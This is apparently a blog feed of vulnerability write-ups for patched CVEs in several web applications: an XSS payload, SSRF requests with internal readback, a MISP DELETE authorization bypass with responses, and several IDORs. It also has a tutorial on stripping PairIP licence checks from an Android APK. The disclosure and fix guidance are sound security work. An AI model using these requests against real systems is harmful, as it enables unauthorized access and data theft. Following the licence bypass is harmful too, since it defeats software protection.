$pageNames = [];
foreach ($pages as $page) {
    $pageNames[] = $page-&gt;MenuTitle ?: $page-&gt;Title;
}
$breadcrumbs = implode(&apos;/&apos;, $pageNames);

return $title . sprintf(
    &apos;&lt;p class=&quot;small cms-list__item-breadcrumbs&quot;&gt;%s&lt;/p&gt;&apos;,
    $breadcrumbs
);
```

That is the whole issue.

The current page title had already gone through the safer rendering path, but the ancestor titles used for the breadcrumb string were inserted into an HTML fragment without proper escaping first.

So if an attacker controlled one of those parent titles, the breadcrumb renderer would happily turn it back into live HTML in the CMS interface.

## Why it worked

The attacker-controlled value could come from either:

- `MenuTitle`
- or fallback `Title`

And because the breadcrumb string was built with `implode(&apos;/&apos;)` and then interpolated directly into:

```php
&lt;p class=&quot;small cms-list__item-breadcrumbs&quot;&gt;%s&lt;/p&gt;
```

the output path treated the whole breadcrumb string as already-safe HTML.

That is exactly the kind of bug that feels small in code review until you remember that page titles are just user-controlled content with a nicer label.

## Repro shape

The payload from the report was simple:

```html
&lt;img src=x onerror=alert(1)&gt;
```

The repro flow was:

1. log in as a CMS user who can create or edit pages
2. create or edit a parent page
3. set `Title` or `MenuTitle` to the payload above
4. create a child page under that parent
5. visit the list view for that parent

Example target:

```http
/admin/pages/listview?ParentID=&lt;parentID&gt;
```

At that point, the breadcrumb trail would render the attacker-controlled HTML and execute it in the CMS admin context.

## Impact

The original report angle was the one I care about most here: editor-to-admin abuse inside the CMS.

Once JavaScript runs in that origin, the attacker can potentially:

- execute privileged CMS actions on behalf of the victim
- modify or publish content
- access same-origin admin data
- exfiltrate CSRF tokens
- forge follow-up requests

The public advisory ended up describing the impact more narrowly as:

&gt; Page breadcrumbs in the CMS are vulnerable to XSS when viewed using the page list view

That is still the same bug, just phrased more conservatively.

## Public advisory status

The public GHSA now lists:

- CVE: `CVE-2026-54717`
- Severity: `Moderate`
- CVSS: `5.4`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`
- Affected: versions before `6.2.1`
- Patched: `6.2.1`

That is a bit more conservative than how I initially thought about the issue during reporting, but the underlying bug is still the same stored XSS in authenticated CMS workflow.

## Fix direction

The fix direction is also the obvious one.

Any user-controlled value included in the breadcrumb output should be escaped before it is inserted into the HTML fragment.

In SilverStripe terms, that means using proper output encoding such as:

```php
Convert::raw2xml()
```

or the equivalent escaping path before rendering the breadcrumb string.

## Reference

- [GHSA-w3cp-g2pf-65wh / CVE-2026-54717](https://github.com/silverstripe/silverstripe-cms/security/advisories/GHSA-w3cp-g2pf-65wh)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>xss</category><author>b4r</author></item><item><title>an idor in xibo notification export</title><link>https://baradika.web.id/blog/xibo-cve-2026-50539/</link><guid isPermaLink="true">https://baradika.web.id/blog/xibo-cve-2026-50539/</guid><description>cve-2026-50539 let any authenticated xibo cms user download arbitrary notification attachments through missing object-level authorization on notification export</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-50539** in **Xibo CMS**.

This one was a pretty direct object-level authorization bug on notification attachments.

The vulnerable route was:

```http
/notification/export/{id}
```

According to the public advisory, any authenticated user could iterate over sequential notification IDs and download attachments from notifications they did not own, including notifications created by administrators.

That is a simple bug, but still a very useful one.

## The bug

The advisory describes the issue as missing ACL on the notification export path.

That matters because the attacker did not need some weird elevated role. The only capability called out in the public advisory was standard authenticated access to the Notification Centre so the user could view past notifications.

Once the route accepted an attacker-controlled notification ID without object-level authorization, the rest was predictable:

- notification IDs were sequential
- attachments were tied to those notifications
- the export route would serve the attachment if the ID existed

So the real boundary was never &quot;can this user open the Notification Centre at all?&quot;

The real boundary should have been:

&gt; does this notification attachment belong to a notification this specific user is allowed to export?

That is the question the route failed to ask.

## What the attacker needs

The public advisory keeps the attacker requirements pretty light:

- authenticated user
- standard access to the Notification Centre

That is important because the bug was not framed as &quot;admin can download admin files.&quot;

It was framed as a normal authenticated user path missing object-level authorization on export.

## Impact

The public advisory states the impact directly:

- any authenticated user could download attachments from any notification
- this included notifications created by administrators
- exploitation worked by iterating over sequential notification IDs

So this was a **confidentiality** issue, not an integrity bug.

The advisory severity data lists:

- Severity: `Moderate`
- CVSS: `6.5`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- CWE: `CWE-862`

That feels about right. The attacker still needed an authenticated session, but after that the missing object-level check made the attachment export path too trusting.

## Versions

The public advisory lists:

- CVE: `CVE-2026-50539`
- Affected: `4.4.2`
- Patched: `&gt;= 4.4.3`

The advisory was published on **June 21, 2026**.

## What the public advisory did and did not give

The advisory is strong on the boundary and lighter on internal code detail.

The useful public part is clear:

- route
- attacker class
- object-level bug
- affected and patched versions

But the advisory does not publish an internal code snippet for the missing ACL check itself, so I am not padding this write-up with guessed controller internals.

The bug is already clear enough without pretending we got a source diff from the advisory page.

## Reference

- [GHSA-p4pg-v57g-7jf6 / CVE-2026-50539](https://github.com/xibosignage/xibo-cms/security/advisories/GHSA-p4pg-v57g-7jf6)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>an ssrf in cloudreve through remote download</title><link>https://baradika.web.id/blog/cloudreve-cve-2026-54562/</link><guid isPermaLink="true">https://baradika.web.id/blog/cloudreve-cve-2026-54562/</guid><description>cve-2026-54562 let non-admin cloudreve users with remote download permission fetch loopback and internal-only urls, then read the imported response body from their own files</description><pubDate>Sun, 21 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-54562** in **Cloudreve**.

This one was a server-side request forgery in the remote download workflow, with an important permission boundary.

It was **not** &quot;any normal user can SSRF the server by default.&quot;

The attacker needed to be:

- authenticated
- non-admin
- in a group with `GroupPermissionRemoteDownload` enabled

That still mattered, because `remote download` is a feature-level group capability, not an admin-only role switch by itself.

Once that permission was granted to a non-admin group, the user could queue a remote download to loopback or another internal-only target, wait for Cloudreve to import the fetched response into their files, and then read it back normally.

## The bug

The root issue was simple.

Cloudreve accepted a user-supplied URL for the remote download workflow, then passed it to the downloader without filtering loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.

The affected endpoint was:

```http
POST /api/v4/workflow/download
```

And the follow-up readback path stayed inside the normal product flow:

```http
GET /api/v4/workflow?category=downloaded...
GET /api/v4/file?uri=cloudreve://my...
POST /api/v4/file/url
```

That is what made the bug stronger than a blind SSRF primitive. The attacker did not just cause an internal request. They could also recover the fetched response body after import.

## Why it worked

The advisory called out three relevant code paths:

```text
service/explorer/workflows.go:81
pkg/filemanager/workflows/remote_download.go:202
pkg/downloader/aria2/aria2.go:56
```

At a high level, the permission check existed, but it only answered:

&gt; is this user group allowed to use remote download at all?

It did **not** answer:

&gt; is this submitted URL safe to fetch from the server side?

That missing second check is the whole issue.

The advisory also makes the scope of the bug very explicit: the application did not block loopback, `localhost`, IPv6 localhost, or redirect targets resolving to internal addresses.

## The negative control mattered

The cleanest part of this bug was the permission negative control.

Before the remote download permission was enabled for the default non-admin `User` group, the same request was denied:

```http
POST /api/v4/workflow/download
Content-Type: application/json

{&quot;src&quot;:[&quot;http://127.0.0.1:7777/secret&quot;],&quot;dst&quot;:&quot;cloudreve://my&quot;}
```

Response:

```json
{&quot;code&quot;:40007,&quot;msg&quot;:&quot;Group not allowed to download files&quot;}
```

That matters, because it shows this was not an accidental &quot;everyone can do it&quot; bug.

The attack only became reachable after granting **just** the remote download capability to a non-admin group.

## The exploit path

Once the user had remote download permission, the SSRF path was straightforward.

Queue a loopback download:

```http
POST /api/v4/workflow/download
Content-Type: application/json

{&quot;src&quot;:[&quot;http://127.0.0.1:7777/secret2&quot;],&quot;dst&quot;:&quot;cloudreve://my&quot;}
```

Response:

```json
{&quot;code&quot;:0,&quot;data&quot;:[{&quot;id&quot;:&quot;OzH4&quot;,&quot;status&quot;:&quot;queued&quot;,&quot;type&quot;:&quot;remote_download&quot;}]}
```

The internal listener on the Cloudreve host received the request:

```text
127.0.0.1 - - [27/May/2026 13:00:46] &quot;GET /secret2 HTTP/1.1&quot; 200 -
```

Then Aria2 completed the fetch and Cloudreve imported it:

```text
Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2
```

After that, the attacker could read the imported file as a normal Cloudreve file and recover the response body:

```text
SSRF_SECRET_2_20260527
```

That is the part that turns this from &quot;server made a request&quot; into a much more useful SSRF.

## Validated variants

The advisory also confirmed that this was not limited to one loopback string.

Validated targets included:

- `http://127.0.0.1:7777/secret2`
- `http://localhost:7777/localsecret`
- `http://[::1]:7780/v6secret`
- redirect to `http://127.0.0.1:7777/redirsecret`

And the readback markers were recovered successfully for each variant:

- `SSRF_SECRET_2_20260527`
- `LOCALHOST_SECRET_20260527`
- `IPV6_SECRET_20260527`
- `REDIR_SECRET_20260527`

That last one matters because redirect handling often gets forgotten even when direct URL parsing is filtered later.

## Impact

The confirmed impact was:

- internal loopback HTTP services reachable from the downloader environment
- imported response bodies readable by the attacker afterward

The advisory explicitly calls out exposure such as:

- internal HTTP services
- loopback-only admin panels
- local service metadata
- other network resources not directly reachable by the attacker

That is why the issue was classified as confidentiality impact, not just &quot;weird network behavior.&quot;

## Severity and versions

The advisory data you shared lists:

- CVE: `CVE-2026-54562`
- Severity: `Moderate`
- CVSS: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- CWE: `CWE-918`
- Affected: `&lt;= 4.16.0`
- Patched: `4.16.1`

So yes, this one is already patched.

## The boundary I kept

I kept this write-up narrow in the same way the advisory did.

This is **not** a default-every-user bug.

Default normal users were blocked. The vulnerable path depended on a non-admin user group being granted remote download permission.

That still leaves a real package-level issue, because the permission model exposed a feature to non-admin users without putting any server-side URL safety policy behind it.

## Reference

- [GHSA-x756-g4x3-c64m / CVE-2026-54562](https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>ssrf</category><author>b4r</author></item><item><title>a delete bypass in misp through crudcomponent</title><link>https://baradika.web.id/blog/misp-cve-2026-10860/</link><guid isPermaLink="true">https://baradika.web.id/blog/misp-cve-2026-10860/</guid><description>cve-2026-10860 let a low-privileged galaxy editor delete another organisation galaxy in misp through a delete-path validation bypass</description><pubDate>Sun, 21 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-10860** in **MISP**.

The bug sat in the shared delete helper, but the runtime-confirmed impact I cared about was much narrower:

- low-privileged authenticated user
- `perm_galaxy_editor`
- target galaxy owned by another organisation
- real HTTP `DELETE`

That was enough to delete another organisation&apos;s galaxy through:

```http
DELETE /galaxies/delete/{id}.json
```

The nice part was that the normal `POST` delete path was denied correctly.

The `DELETE` path was the one that slipped through.

## The bug

The root cause was an operator precedence mistake in `CRUDComponent::delete()`.

The vulnerable condition was:

```php
if ($validationError === null &amp;&amp; $this-&gt;Controller-&gt;request-&gt;is(&apos;post&apos;) || $this-&gt;Controller-&gt;request-&gt;is(&apos;delete&apos;)) {
```

Because `&amp;&amp;` binds tighter than `||`, that condition is evaluated like this:

```php
if (($validationError === null &amp;&amp; is_post) || is_delete) {
```

So once the request is a real HTTP `DELETE`, the destructive branch is entered even if the validation callback has already failed.

That is the whole bug.

And in the galaxy case, the failed validation was meaningful.

`GalaxiesController::delete()` passes a validation callback that ends up checking whether the caller is actually allowed to delete that galaxy. In the validated path, that callback correctly rejected users outside the creator organisation.

The helper just kept going anyway for `DELETE`.

## The validated impact

I kept the write-up narrow on purpose.

The shared helper bug could matter in more than one place, but the low-privileged, security-relevant, runtime-confirmed impact I validated was:

**unauthorized cross-organisation galaxy deletion**

The attacker was:

- authenticated
- not a site admin
- in a different organisation
- allowed to work with galaxies in general
- not allowed to delete the victim galaxy

The target galaxy was visible from the listing, but it was not supposed to be modifiable by that user.

## The request flow

The interesting part was how the same target behaved differently depending on the HTTP method.

### Listing path

The attacker could see the target galaxy through the normal listing:

```http
GET /galaxies/index.json
Authorization: &lt;attacker-auth-key&gt;
Accept: application/json
```

That gave the attacker a valid target ID to work with.

### Negative control: POST delete was denied

```http
POST /galaxies/delete/1.json
Authorization: &lt;attacker-auth-key&gt;
Accept: application/json
Content-Type: application/json
```

Response:

```json
{
  &quot;saved&quot;: false,
  &quot;name&quot;: &quot;Could not delete Galaxy&quot;,
  &quot;message&quot;: &quot;Could not delete Galaxy&quot;,
  &quot;url&quot;: &quot;/galaxies/delete/1&quot;,
  &quot;errors&quot;: &quot;Only the creator organisation can modify the galaxy&quot;
}
```

That response is important because it proves the intended authorization rule was alive and working.

### Exploit: HTTP DELETE bypassed the failed validation

```http
DELETE /galaxies/delete/1.json
Authorization: &lt;attacker-auth-key&gt;
Accept: application/json
```

Response:

```json
{
  &quot;saved&quot;: true,
  &quot;success&quot;: true,
  &quot;name&quot;: &quot;Galaxy deleted.&quot;,
  &quot;message&quot;: &quot;Galaxy deleted.&quot;,
  &quot;url&quot;: &quot;/galaxies/delete/1&quot;,
  &quot;id&quot;: 1
}
```

That is the whole exploit in one request.

## Post-condition proof

I also verified that this was not just a misleading success message.

Admin view after deletion:

```http
GET /galaxies/view/1.json
Authorization: &lt;site-admin-auth-key&gt;
Accept: application/json
```

Response:

```text
404 Invalid Galaxy
```

And the database check confirmed the row was gone:

```sql
select count(*) as galaxy_count
from galaxies
where id = 1;
```

Result:

```text
galaxy_count
0
```

So the bypass reached the real destructive sink.

## Why the galaxy path was the right one to report

I checked other `CRUDComponent::delete()` call sites because I did not want to overclaim the bug.

There were other places where the same sink was reachable, but they did not all give the same reportable outcome.

The galaxy path was the one that cleanly crossed a real organisation boundary with a low-privileged user and a confirmed destructive result.

That was enough on its own.

## Severity and CVE

The public CVE page lists:

- CVE: `CVE-2026-10860`
- Severity: `High`
- CVSS v4: `7.9`
- CWE: `CWE-863 Incorrect Authorization`

The public description talks about the shared delete helper generically.

My write-up here keeps the boundary tighter than that and sticks to the runtime-confirmed galaxy deletion path in **MISP 2.5.38**.

## Fix

The minimum safe fix is to make the validation result apply to both methods:

```php
if ($validationError === null &amp;&amp; ($this-&gt;Controller-&gt;request-&gt;is(&apos;post&apos;) || $this-&gt;Controller-&gt;request-&gt;is(&apos;delete&apos;))) {
```

But the more robust fix is the obvious one: once validation fails, the helper should stop immediately and never continue into any delete branch at all.

## Reference

- [CVE-2026-10860](https://cve.threatint.eu/CVE/CVE-2026-10860)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>authorization</category><author>b4r</author></item><item><title>an idor in winter fileupload</title><link>https://baradika.web.id/blog/winter-cve-2026-54256/</link><guid isPermaLink="true">https://baradika.web.id/blog/winter-cve-2026-54256/</guid><description>cve-2026-54256 let any authenticated backend user in wintercms target unrelated attachment records through the backend fileupload widget</description><pubDate>Sun, 21 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-54256** in **Winter CMS**.

This one lived in the backend `FileUpload` widget.

The bug was not about file contents. It was about what happened after the widget trusted an attacker-controlled `file_id` and resolved it globally instead of scoping it to the current relation.

So any authenticated backend user who could reach a form containing a file upload field could target another attachment record and modify metadata that did not belong to them.

The built-in **My Account** avatar form was enough to reach the vulnerable widget path, which made the attack surface much wider than &quot;admins editing content.&quot;

## The bug

The vulnerable lookup sat in `FileUpload::getFileRecord()`.

According to the advisory, the old code effectively did this:

```php
$this-&gt;getRelationModel()-&gt;find(post(&apos;file_id&apos;))
```

That is the whole problem.

The posted `file_id` was resolved against the global `system_files` table without checking whether the file actually belonged to:

- the widget&apos;s own relation
- the current parent record
- the current deferred-binding session

So once an attacker could send requests to that widget, the only thing they really needed was a valid attachment ID.

And those IDs were easy to enumerate because they were sequential integers.

## What an attacker could do

The advisory confirmed two concrete write impacts.

An authenticated backend user could:

- modify another attachment&apos;s title and description via `onSaveAttachmentConfig`
- change another attachment&apos;s `sort_order` via `onSortAttachments`

The second bug was especially clean because the posted IDs were passed straight into an unscoped sortable update.

The same unscoped lookup path was also reachable from:

- `onLoadAttachmentConfig`
- `onSaveAttachmentConfig`
- `onRemoveAttachment`

So even though the confirmed impact was framed around unauthorized integrity changes, the unsafe object resolution itself was shared across multiple widget actions.

## Why the My Account path mattered

The advisory called out an important detail: the built-in **My Account** avatar field was enough.

That means the issue did not depend on some unusual plugin or privileged editorial flow.

A backend account with basically any level of access could reach a form containing the widget and start testing `file_id` tampering from there.

The attack still needed:

- an authenticated backend session
- valid CSRF token handling

But it did **not** need site-admin level access.

That keeps the bug firmly in low-privileged authenticated territory, which is the interesting place for this kind of issue.

## The patch

The fixed version changed the widget to scope lookups through the actual relation, including deferred-bound files in the current session.

The advisory described the fix like this:

```php
$this-&gt;getRelationObject()-&gt;withDeferred($this-&gt;sessionKey)-&gt;find(post(&apos;file_id&apos;))
```

That is the right shape.

Instead of treating the posted ID as a global file record reference, the widget now asks:

&gt; does this file ID belong to this relation in this widget context?

The sort path was fixed the same way in spirit: posted IDs are filtered down to IDs that actually belong to the relation before `setSortableOrder()` is called.

That is exactly the boundary the old code was missing.

## Versions and severity

The advisory data you shared lists:

- CVE: `CVE-2026-54256`
- Severity: `Moderate`
- CVSS: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N`
- Weaknesses: `CWE-284`, `CWE-639`
- Affected: `&lt;= 1.2.12`
- Patched: `1.2.13`

The fix landed in:

- commit `9cb0ae5f9d837db141ab111c6a7de8eed9603d25`

## The boundary I kept

I kept the write-up aligned with the confirmed impact from the advisory.

This post is about:

- authenticated backend access
- attacker-controlled `file_id`
- cross-user or cross-record attachment targeting
- unauthorized metadata and ordering changes

I did **not** stretch it into arbitrary file read or arbitrary file overwrite, because that is not what the advisory confirmed.

The useful bug here is already clear enough without inflating it.

## Reference

- [GHSA-3277-h8g9-qj5f / CVE-2026-54256](https://github.com/wintercms/winter/security/advisories/GHSA-3277-h8g9-qj5f)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>bypassing pairip with manual modification</title><link>https://baradika.web.id/blog/pairip-manual-modification/</link><guid isPermaLink="true">https://baradika.web.id/blog/pairip-manual-modification/</guid><description>bypassing java-side pairip checks in a modded android app by removing manifest-registered components, rebuilding, and signing again</description><pubDate>Wed, 17 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

After patching an app, sometimes the next blocker is not SSL pinning anymore. It is PairIP.

If the target only wires PairIP from the Java side, the bypass is usually much less annoying than people expect. No fancy runtime hook, no extra module, no chasing native code first. Just decompile, inspect the manifest, cut the PairIP components, rebuild, sign again, and test.

This note is only about that path.

## When this works

PairIP usually shows up in one of two shapes, and figuring out which one you are dealing with saves a lot of wasted time.

The first one is the lighter integration. The integrity check lives in the Java or Kotlin layer and gets wired in through the manifest. In that case, once you decompile the APK, searching `AndroidManifest.xml` for `pairip` usually gets you straight to the relevant component.

Typical entries look like:

- `activity`
- `provider`
- sometimes a `receiver` or `service`
- a related permission like `com.android.vending.CHECK_LICENSE`

If that is what you see, a manifest edit is worth trying first.

The second one is the heavier integration. If the APK ships something like `libpairip.so` under `lib/arm64-v8a` or another ABI directory, then part of the protection is already sitting in native code. At that point, a manifest-only tweak usually stops being enough.

For the case I wanted to write down here, the target landed in the first bucket. The integrity check was still being registered from the Java side, so the bypass was basically a controlled manifest cleanup.

## The actual edit

Start by decompiling the APK with Apktool:

```bash
apktool d release.RE.apk
```

If the decompile finishes cleanly, open `AndroidManifest.xml` from the unpacked project and search for `pairip`.

The important part here is to remove the whole XML element, not just trim the class name and leave junk behind. If the element has child tags like `intent-filter`, remove the full block cleanly.

In the sample case, the manifest looked roughly like this:

```xml
&lt;service
    android:exported=&quot;false&quot;
    android:name=&quot;com.google.android.datatransport.runtime.scheduling.jobscheduling.JobInfoSchedulerService&quot;
    android:permission=&quot;android.permission.BIND_JOB_SERVICE&quot; /&gt;
&lt;receiver
    android:exported=&quot;false&quot;
    android:name=&quot;com.google.android.datatransport.runtime.scheduling.jobscheduling.AlarmManagerSchedulerBroadcastReceiver&quot; /&gt;
&lt;activity
    android:exported=&quot;false&quot;
    android:name=&quot;com.pairip.licensecheck.LicenseActivity&quot; /&gt;
&lt;provider
    android:authorities=&quot;com.example.app.com.pairip.licensecheck.LicenseContentProvider&quot;
    android:exported=&quot;false&quot;
    android:name=&quot;com.pairip.licensecheck.LicenseContentProvider&quot; /&gt;
&lt;/application&gt;
&lt;uses-permission android:name=&quot;com.android.vending.CHECK_LICENSE&quot; /&gt;
```

The lines that mattered were the PairIP ones, not the unrelated scheduler components above them.

So the cleanup target was:

- remove the `com.pairip.licensecheck.LicenseActivity`
- remove the `com.pairip.licensecheck.LicenseContentProvider`
- remove the `com.android.vending.CHECK_LICENSE` permission entry

That is the kind of edit I prefer for this situation. Do not overthink it. If the manifest entry is what boots the integrity logic, cut the registration point out completely.

The target is simple:

- no `com.pairip.*` component left in the manifest
- no leftover PairIP-related permission entry
- no broken XML after the cleanup

## Rebuild and sign

Once the manifest is clean, rebuild the project:

```bash
apktool b release.RE
```

After that, sign the rebuilt APK again:

```bash
java -jar uber-apk-signer.jar -a release.RE.apk
```

If the rebuild and signing steps finish cleanly, install the signed APK and launch it again.

In this specific path, that is the checkpoint that matters most:

- the app should boot
- the PairIP integrity popup should be gone
- the previous patching work should finally be usable again

If that happens, the manifest path was the real entry point and the manual bypass did its job.

## Reference

- [Bypassing PairIP Integrity Checks](https://petruknisme.medium.com/bypassing-pairip-integrity-checks-21d7bdd4a052)</content:encoded><category>android</category><category>mobile modding</category><category>reverse engineering</category><author>b4r</author></item><item><title>a public link bug in invoiceshelf</title><link>https://baradika.web.id/blog/invoiceshelf-cve-2026-55383/</link><guid isPermaLink="true">https://baradika.web.id/blog/invoiceshelf-cve-2026-55383/</guid><description>cve-2026-55383 let public customer document tokens cross company boundaries in invoiceshelf through emaillog type confusion and missing expiry checks</description><pubDate>Wed, 17 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got **CVE-2026-55383** in **InvoiceShelf**.

This one sat behind public customer document links.

At first glance those links looked isolated enough: each token was supposed to belong to one specific document flow, like an invoice, estimate, or payment.

The problem was that the backend trusted the token&apos;s numeric `mailable_id` too much and its `mailable_type` not enough.

So a token issued for one document type could be replayed against another public customer endpoint as soon as the numeric IDs happened to collide.

And on the JSON endpoints, expired tokens still kept working.

## The bug

The core mistake was simple.

InvoiceShelf resolved an `EmailLog` from the public token, then fetched the target model with a plain `Model::find($emailLog-&gt;mailable_id)`.

That means the token lookup stopped at &quot;here is an ID&quot; instead of finishing the job and checking &quot;does this token actually belong to this document type?&quot;

The advisory phrased the vulnerable pattern pretty directly:

```php
// JSON handler shape described in the advisory
Invoice::find($emailLog-&gt;mailable_id)
```

And the missing checks were just as important:

```php
$emailLog-&gt;mailable_type
$emailLog-&gt;isExpired()
```

So this was not some complicated state machine bug. The token was resolved, the numeric ID was trusted, and the stronger binding checks were missing from the JSON path.

So if a payment token pointed to `mailable_id = 42`, and another company had an invoice with `id = 42`, the payment token could be replayed against the invoice endpoint and return the other company&apos;s invoice data.

It was not some giant auth bypass. It was a type confusion problem hiding inside a public-link flow that already looked familiar and boring.

## Why it mattered

The advisory confirmed impact across all three public customer document models:

- invoices
- estimates
- payments

And the affected routes were not just one odd corner.

The bug hit all six public customer document routes:

```http
GET /customer/invoices/{email_log:token}
GET /customer/invoices/view/{email_log:token}
GET /customer/estimates/{email_log:token}
GET /customer/estimates/view/{email_log:token}
GET /customer/payments/{email_log:token}
GET /customer/payments/view/{email_log:token}
```

So once a token existed, the real question became whether another document in another company had the same numeric ID.

If it did, the boundary was gone.

## What the attacker gets

The public advisory describes two concrete outcomes.

First, the obvious one: **cross-company disclosure**.

A token issued for one record type could disclose another company&apos;s data from a different record type. The example in the advisory showed invoice JSON coming back with fields like:

- `invoice_number`
- `customer.email`
- `company.slug`
- line items
- totals

Second, one of the view routes also caused **state mutation**.

Replaying a mismatched token against the invoice view route could flip an invoice from `SENT` to `VIEWED`, set the viewed flag, and even trigger a notification if viewed notifications were enabled.

So this was not just read-only confusion. In at least part of the flow, it also changed state across company boundaries.

## The expiry bug made it worse

There was a second issue in the same public-link path.

The PDF/view handlers enforced `EmailLog::isExpired()`, but the JSON handlers did not.

So an expired token was still accepted indefinitely on the JSON endpoints.

That matters because it stretches the attack window from &quot;while the link is still valid&quot; to &quot;basically whenever that old token still exists in somebody&apos;s inbox or email history.&quot;

And once you combine that with the type confusion bug, old public tokens become reusable bearer tokens against matching document IDs with no real time limit on the JSON side.

The advisory also gave two very clean request examples:

```http
GET /customer/invoices/T
GET /customer/invoices/view/T?pdf=1
```

The first one showed the cross-type JSON disclosure. The second one showed that the view route could also mutate invoice state.

## Root cause in one line

The public token flow bound access to `mailable_id`, but did not strongly bind it to the expected `mailable_type`, and the JSON handlers skipped expiry enforcement entirely.

That is the whole bug.

## Severity and versions

The public advisory lists:

- CVE: `CVE-2026-55383`
- Severity: `High`
- Weakness: `CWE-285`
- Affected: versions before `2.4.0`
- Patched: `2.4.0`

The advisory was published on **June 12, 2026**.

## Reference

- [GHSA-73q7-2953-8gvx / CVE-2026-55383](https://github.com/InvoiceShelf/InvoiceShelf/security/advisories/GHSA-73q7-2953-8gvx)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>an event media authz bug in zoneminder</title><link>https://baradika.web.id/blog/zoneminder-cve-2026-54258/</link><guid isPermaLink="true">https://baradika.web.id/blog/zoneminder-cve-2026-54258/</guid><description>cve-2026-54258 let low-privileged zoneminder users fetch private event media from monitors they were not allowed to access</description><pubDate>Sat, 13 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I also got **CVE-2026-54258** in **ZoneMinder**.

This one was a clean authorization bug around direct event media endpoints.

A low-privileged authenticated user with coarse `Events=View` and/or `Snapshots=View` permissions could directly fetch media for events belonging to monitors they were explicitly denied access to.

The normal UI hid the restricted monitor and its events correctly.

The direct media endpoints did not.

## The bug

The vulnerable pattern here was simple:

- the user had enough coarse permission to view event-related features in general
- the user did **not** have access to a specific victim monitor
- normal console and event views respected that restriction
- direct media endpoints accepted an attacker-controlled `eid` and streamed the event media anyway

So the app got the high-level permission boundary right, but skipped the actual object-level authorization at the point where the media was fetched.

That is why this one matters.

It was not just &quot;you can see a hidden link in the UI.&quot; It was a backend path returning real media for an event that belonged to a monitor the caller should not have been able to access.

## Affected endpoints

The advisory lists these direct media paths:

Stable `1.38.3` and `master`:

```http
GET /zm/index.php?view=image&amp;eid=&lt;event_id&gt;&amp;fid=snapshot
GET /zm/index.php?view=image&amp;eid=&lt;event_id&gt;&amp;fid=&lt;frame_id&gt;&amp;show=capture
GET /zm/index.php?view=view_video&amp;eid=&lt;event_id&gt;
```

And on current `master`:

```http
GET /zm/index.php?view=view_hls&amp;eid=&lt;event_id&gt;
```

## Root cause

According to the advisory, the direct media handlers checked only coarse area permissions like:

- `canView(&apos;Events&apos;)`
- `canView(&apos;Snapshots&apos;)`

After that, they resolved the supplied event ID and streamed media from the event path without enforcing the per-event or per-monitor ACL through the event object itself.

The useful code-level clue from the advisory was this split:

```php
canView(&apos;Events&apos;)
canView(&apos;Snapshots&apos;)
$Event-&gt;canView()
```

The first two checks existed. The last one was the one that should have mattered for the actual event object, and that was the missing boundary.

That is the whole issue.

The codebase already had monitor/event-level ACL semantics, and the normal UI respected them. These direct media endpoints just bypassed that layer.

The advisory also named the relevant files directly:

```text
web/views/image.php
web/views/view_video.php
web/views/view_hls.php
```

That made the bug much easier to reason about than a vague &quot;some media endpoint&quot; description.

## What the attacker gets

The confirmed exposed content included:

- event snapshots
- captured frames
- recorded MP4 video
- HLS playlists on `master`

So this was a straightforward **confidentiality** problem affecting surveillance footage.

That is why this one feels stronger than a lot of ordinary UI-only leaks. The returned data was not metadata or a label. It was the actual underlying media.

## What made it good evidence

The advisory explicitly confirmed that the restricted user could not see the victim monitor or its events through the intended UI. That matters, because it shows the app already knew the user was not supposed to have access.

Then the direct media requests still returned:

- JPEG snapshots
- JPEG captured frames
- MP4 video
- and on `master`, a real HLS playlist

That kind of contrast is always solid:

- intended UI says no
- direct object fetch says yes

## Severity and versions

The public advisory lists:

- CVE: `CVE-2026-54258`
- Severity: `Moderate`
- CVSS: `6.5`
- Affected:
  - versions before `1.36.39`
  - `&gt;= 1.37.0, &lt; 1.38.4`
  - `&gt;= 1.39.0, &lt; 1.39.11`
- Patched:
  - `1.36.39`
  - `1.38.4`
  - `1.39.11`

The advisory also notes validation on:

- `1.38.3`
- current `master`

## Reference

- [GHSA-vj5r-pc2v-gfwv / CVE-2026-54258](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-vj5r-pc2v-gfwv)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>authorization</category><author>b4r</author></item><item><title>a second-order ddns authz bug in nezha</title><link>https://baradika.web.id/blog/nezha-cve-2026-53521/</link><guid isPermaLink="true">https://baradika.web.id/blog/nezha-cve-2026-53521/</guid><description>cve-2026-53521 let a stored future ddns profile id turn into another user ddns profile context later in nezha</description><pubDate>Wed, 10 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I also got **CVE-2026-53521** in **Nezha**.

This one was more interesting than a normal IDOR because it was **second-order**.

The short version:

- `PATCH /server/{id}` accepted nonexistent `ddns_profiles` IDs
- those unresolved IDs were stored on the attacker&apos;s server
- if another user later created a DDNS profile with one of those IDs, the worker would resolve it
- and the DDNS update path would run using the **victim profile configuration** in the context of the **attacker server**

So the cross-user reference was not valid at write time.

It became valid later.

